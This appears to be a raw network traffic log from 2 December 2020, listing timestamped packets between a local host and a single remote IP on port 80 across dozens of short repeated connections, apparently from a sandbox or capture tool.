Dec 2, 2020 11:52:58.173096895 CET	49751	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:58.225471020 CET	80	49751	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:58.247212887 CET	80	49751	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:58.247235060 CET	80	49751	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:58.247315884 CET	49751	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:58.247356892 CET	49751	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:58.304827929 CET	80	49751	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:58.517242908 CET	49752	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:58.570117950 CET	80	49752	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:58.570257902 CET	49752	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:58.573098898 CET	49752	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:58.625576973 CET	80	49752	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:58.625736952 CET	49752	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:58.678409100 CET	80	49752	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:58.705684900 CET	80	49752	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:58.705705881 CET	80	49752	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:58.705857992 CET	49752	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:58.705878973 CET	49752	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:58.759761095 CET	80	49752	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:58.908612967 CET	49753	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:58.960675955 CET	80	49753	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:58.960812092 CET	49753	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:58.978022099 CET	49753	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:59.030369997 CET	80	49753	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:59.030513048 CET	49753	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:59.082428932 CET	80	49753	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:59.104919910 CET	80	49753	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:59.104958057 CET	80	49753	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:59.105079889 CET	49753	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:59.105148077 CET	49753	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:59.157224894 CET	80	49753	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:59.323198080 CET	49754	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:59.375668049 CET	80	49754	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:59.375760078 CET	49754	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:59.378493071 CET	49754	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:59.431092024 CET	80	49754	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:59.431277037 CET	49754	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:59.484323025 CET	80	49754	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:59.505511999 CET	80	49754	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:59.505542040 CET	80	49754	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:59.505623102 CET	49754	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:59.505700111 CET	49754	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:59.558178902 CET	80	49754	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:59.714940071 CET	49755	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:59.767605066 CET	80	49755	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:59.767709017 CET	49755	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:59.770770073 CET	49755	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:59.876328945 CET	80	49755	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:59.876540899 CET	49755	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:59.931091070 CET	80	49755	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:59.952721119 CET	80	49755	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:59.952764034 CET	80	49755	45.144.3.234	192.168.2.6
Dec 2, 2020 11:52:59.952841043 CET	49755	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:52:59.953461885 CET	49755	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:00.006167889 CET	80	49755	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:00.194998980 CET	49756	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:00.248035908 CET	80	49756	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:00.248212099 CET	49756	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:00.250977039 CET	49756	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:00.306262970 CET	80	49756	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:00.306401014 CET	49756	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:00.359276056 CET	80	49756	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:00.382494926 CET	80	49756	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:00.382527113 CET	80	49756	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:00.382654905 CET	49756	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:00.382707119 CET	49756	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:00.435606003 CET	80	49756	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:00.587783098 CET	49757	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:00.639686108 CET	80	49757	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:00.639832020 CET	49757	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:00.644083023 CET	49757	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:00.695887089 CET	80	49757	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:00.696590900 CET	49757	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:00.748495102 CET	80	49757	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:00.769340038 CET	80	49757	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:00.769371033 CET	80	49757	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:00.769479036 CET	49757	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:00.769604921 CET	49757	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:00.823146105 CET	80	49757	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:00.991533041 CET	49758	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:01.044569969 CET	80	49758	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:01.045030117 CET	49758	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:01.090385914 CET	49758	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:01.143105984 CET	80	49758	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:01.143268108 CET	49758	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:01.196012020 CET	80	49758	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:01.218769073 CET	80	49758	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:01.218799114 CET	80	49758	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:01.218996048 CET	49758	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:01.219027042 CET	49758	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:01.273492098 CET	80	49758	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:01.480278015 CET	49759	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:01.532646894 CET	80	49759	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:01.532932043 CET	49759	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:01.537713051 CET	49759	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:01.590030909 CET	80	49759	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:01.590174913 CET	49759	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:01.642452955 CET	80	49759	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:01.667457104 CET	80	49759	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:01.667542934 CET	80	49759	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:01.667809010 CET	49759	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:01.667855024 CET	49759	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:01.722275019 CET	80	49759	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:01.947396994 CET	49760	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:01.999943972 CET	80	49760	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:02.000056982 CET	49760	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:02.003036022 CET	49760	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:02.054584980 CET	80	49760	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:02.055839062 CET	49760	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:02.107743979 CET	80	49760	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:02.131956100 CET	80	49760	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:02.131987095 CET	80	49760	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:02.132128954 CET	49760	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:02.132163048 CET	49760	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:02.183789015 CET	80	49760	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:02.315164089 CET	49761	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:02.366969109 CET	80	49761	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:02.367100954 CET	49761	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:02.371231079 CET	49761	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:02.431696892 CET	80	49761	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:02.431969881 CET	49761	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:02.484010935 CET	80	49761	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:02.505198956 CET	80	49761	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:02.505227089 CET	80	49761	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:02.505345106 CET	49761	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:02.516562939 CET	49761	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:02.571868896 CET	80	49761	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:02.907706976 CET	49762	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:02.959582090 CET	80	49762	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:02.962471962 CET	49762	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:02.962532043 CET	49762	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:03.014370918 CET	80	49762	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:03.015748024 CET	49762	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:03.067565918 CET	80	49762	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:03.089901924 CET	80	49762	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:03.089934111 CET	80	49762	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:03.091732025 CET	49762	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:03.091778040 CET	49762	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:03.143480062 CET	80	49762	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:03.337080956 CET	49763	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:03.389986038 CET	80	49763	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:03.390108109 CET	49763	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:03.392819881 CET	49763	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:03.445588112 CET	80	49763	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:03.445830107 CET	49763	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:03.498693943 CET	80	49763	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:03.522391081 CET	80	49763	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:03.522438049 CET	80	49763	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:03.522663116 CET	49763	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:03.733978033 CET	49763	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:03.786808014 CET	80	49763	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:04.151349068 CET	49764	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:04.204257011 CET	80	49764	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:04.204355955 CET	49764	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:04.207113028 CET	49764	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:04.259829998 CET	80	49764	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:04.260684013 CET	49764	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:04.313492060 CET	80	49764	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:04.333813906 CET	80	49764	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:04.333842039 CET	80	49764	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:04.333959103 CET	49764	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:04.937446117 CET	49764	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:04.990520000 CET	80	49764	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:05.284806967 CET	49765	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:05.336621046 CET	80	49765	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:05.336719036 CET	49765	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:05.339663982 CET	49765	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:05.391290903 CET	80	49765	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:05.391392946 CET	49765	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:05.443084955 CET	80	49765	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:05.464608908 CET	80	49765	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:05.464689016 CET	80	49765	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:05.464756966 CET	49765	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:05.516489029 CET	80	49765	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:05.683804989 CET	49766	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:05.736955881 CET	80	49766	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:05.737140894 CET	49766	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:05.740205050 CET	49766	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:05.793400049 CET	80	49766	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:05.793560982 CET	49766	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:05.846287966 CET	80	49766	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:05.865657091 CET	80	49766	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:05.865681887 CET	80	49766	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:05.865798950 CET	49766	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:05.865866899 CET	49766	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:05.918875933 CET	80	49766	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:06.051013947 CET	49767	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:06.103274107 CET	80	49767	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:06.103455067 CET	49767	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:06.108568907 CET	49767	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:06.161118984 CET	80	49767	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:06.161303043 CET	49767	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:06.213058949 CET	80	49767	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:06.249782085 CET	80	49767	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:06.249804020 CET	80	49767	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:06.249907017 CET	49767	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:06.250144005 CET	49767	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:06.301949978 CET	80	49767	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:06.497983932 CET	49768	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:06.550235987 CET	80	49768	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:06.550381899 CET	49768	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:06.554063082 CET	49768	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:06.606226921 CET	80	49768	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:06.606434107 CET	49768	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:06.658672094 CET	80	49768	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:06.678922892 CET	80	49768	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:06.678955078 CET	80	49768	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:06.679061890 CET	49768	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:06.679424047 CET	49768	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:06.732508898 CET	80	49768	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:06.928714037 CET	49769	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:06.980772972 CET	80	49769	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:06.980895042 CET	49769	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:06.984148026 CET	49769	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:07.035906076 CET	80	49769	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:07.035990000 CET	49769	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:07.087723970 CET	80	49769	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:07.107873917 CET	80	49769	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:07.107897997 CET	80	49769	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:07.108000994 CET	49769	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:07.108105898 CET	49769	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:07.159962893 CET	80	49769	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:07.312536001 CET	49770	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:07.366641998 CET	80	49770	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:07.366802931 CET	49770	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:07.369520903 CET	49770	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:07.422322035 CET	80	49770	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:07.422445059 CET	49770	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:07.475163937 CET	80	49770	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:07.495950937 CET	80	49770	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:07.497396946 CET	80	49770	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:07.497454882 CET	49770	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:07.497483969 CET	49770	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:07.549890995 CET	80	49770	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:07.787199020 CET	49771	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:07.842961073 CET	80	49771	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:07.843117952 CET	49771	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:07.847165108 CET	49771	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:07.900638103 CET	80	49771	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:07.900952101 CET	49771	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:07.952508926 CET	80	49771	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:07.981039047 CET	80	49771	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:07.981071949 CET	80	49771	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:07.982620955 CET	49771	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:07.983947992 CET	49771	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:08.035505056 CET	80	49771	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:10.125669003 CET	49772	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:10.178973913 CET	80	49772	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:10.179095984 CET	49772	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:10.181925058 CET	49772	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:10.234721899 CET	80	49772	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:10.236537933 CET	49772	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:10.289745092 CET	80	49772	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:10.313579082 CET	80	49772	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:10.313606024 CET	80	49772	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:10.313694000 CET	49772	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:10.313755035 CET	49772	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:10.366545916 CET	80	49772	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:10.514375925 CET	49773	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:10.566468954 CET	80	49773	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:10.568372965 CET	49773	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:10.569443941 CET	49773	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:10.633182049 CET	80	49773	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:10.633315086 CET	49773	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:10.684914112 CET	80	49773	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:10.708132982 CET	80	49773	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:10.708165884 CET	80	49773	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:10.708303928 CET	49773	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:10.708333015 CET	49773	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:10.760040045 CET	80	49773	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:10.967400074 CET	49774	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:11.019642115 CET	80	49774	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:11.019809961 CET	49774	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:11.023775101 CET	49774	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:11.075654030 CET	80	49774	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:11.075879097 CET	49774	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:11.128087997 CET	80	49774	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:11.152570009 CET	80	49774	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:11.152600050 CET	80	49774	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:11.152683973 CET	49774	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:11.152713060 CET	49774	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:11.204530954 CET	80	49774	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:11.394161940 CET	49775	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:11.446897030 CET	80	49775	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:11.447031975 CET	49775	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:11.449891090 CET	49775	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:11.502516985 CET	80	49775	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:11.502696991 CET	49775	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:11.555367947 CET	80	49775	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:11.577105045 CET	80	49775	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:11.577143908 CET	80	49775	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:11.577261925 CET	49775	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:11.577310085 CET	49775	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:11.630254030 CET	80	49775	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:11.888803005 CET	49776	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:11.945538998 CET	80	49776	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:11.945630074 CET	49776	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:11.948579073 CET	49776	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:12.003570080 CET	80	49776	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:12.003648996 CET	49776	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:12.055608988 CET	80	49776	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:12.076914072 CET	80	49776	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:12.076962948 CET	80	49776	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:12.077054977 CET	49776	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:12.080533981 CET	49776	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:12.133100986 CET	80	49776	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:12.333058119 CET	49778	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:12.385174990 CET	80	49778	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:12.385279894 CET	49778	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:12.388055086 CET	49778	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:12.440393925 CET	80	49778	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:12.440466881 CET	49778	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:12.492671013 CET	80	49778	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:12.513309956 CET	80	49778	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:12.513329029 CET	80	49778	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:12.513420105 CET	49778	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:12.513446093 CET	49778	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:12.565835953 CET	80	49778	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:12.712774992 CET	49779	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:12.787625074 CET	80	49779	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:12.787734985 CET	49779	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:12.790592909 CET	49779	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:12.842355967 CET	80	49779	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:12.842472076 CET	49779	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:12.913522005 CET	80	49779	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:12.934709072 CET	80	49779	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:12.934740067 CET	80	49779	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:12.934881926 CET	49779	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:12.934922934 CET	49779	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:12.986815929 CET	80	49779	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:13.196576118 CET	49781	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:13.249593973 CET	80	49781	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:13.249918938 CET	49781	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:13.252512932 CET	49781	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:13.304796934 CET	80	49781	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:13.304941893 CET	49781	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:53:13.357626915 CET	80	49781	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:13.381217003 CET	80	49781	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:13.381246090 CET	80	49781	45.144.3.234	192.168.2.6
Dec 2, 2020 11:53:13.381318092 CET	49781	80	192.168.2.6	45.144.3.234
